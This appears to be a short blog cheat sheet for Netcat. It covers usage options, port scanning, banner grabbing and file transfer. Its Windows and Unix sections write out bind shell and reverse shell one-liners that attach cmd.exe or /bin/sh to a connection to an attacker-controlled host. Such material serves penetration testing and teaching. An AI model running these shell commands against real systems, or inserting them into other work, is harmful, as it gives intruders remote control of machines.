



Netcat Cheat Sheet

🕒 less than 1 minute read

Netcat which has been famously labeled as the “Swiss army knife of hacking” is a networking utility used for reading/writing from TCP/UDP sockets, port scanning, file transfer, port listening, and backdooring.

Usage

```
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:  nc -l -p port [-options] [hostname] [port]
options:
  -c shell commands      as '-e'; use /bin/sh to exec [dangerous!!]
  -e filename            program to exec after connect [dangerous!!]
  -b                    allow broadcasts
  -g gateway             source-routing hop point[s], up to 8
  -G num                 source-routing pointer: 4, 8, 12, ...
  -h                    this cruft
  -i secs               delay interval for lines sent, ports scanned
  -k                    set keepalive option on socket
  -l                    listen mode, for inbound connects
  -n                    numeric-only IP addresses, no DNS
  -o file               hex dump of traffic
  -p port               local port number
  -r                    randomize local and remote ports
  -q secs               quit after EOF on stdin and delay of secs
  -s addr               local source address
  -T tos                set Type Of Service
  -t                    answer TELNET negotiation
  -u                    UDP mode
  -v                    verbose [use twice to be more verbose]
  -w secs               timeout for connects and final net reads
  -C                    Send CRLF as line-ending
  -Z                    zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
```

Basic Commands

TCP Port - Connecting

```
nc -nv <IP> <PORT>
```

TCP Port - Listening

```
nc -lvp <PORT>
```

Connect and return HTTP Page

```
nc -nv <IP> 80 HEAD / HTTP/1.1
```

File Transfer

```
nc -lvp 4444 > output.txt # Receiving End
```

```
nc -nv <IP> < input.txt # Sending End
```

Port Scanning

```
nc -z <IP> <PORT RANGE>
```

Banner Grabbing

```
echo "" | nc -nv -w1 <IP> <PORTS>
```

Windows

Bind Shell

```
nc -lvp 4444 -e cmd.exe
```

```
nc -nv <IP> 4444
```

Reverse Shell

```
nc -lvp 443 # Attacker - Receiving
```

```
nc -nv <IP> 443 -e cmd.exe # Target - Sending
```

Nix

Bind Shell

```
nc -lvp 4444 -e /bin/sh
```

```
nc -nv <IP> 4444
```

Reverse Shell

```
nc -lvp 443
```

```
nc -nv <IP> 443 -e /bin/sh
```

Additional Resources

[SANS Netcat Cheat Sheet](#)

[Wikipedia](#)

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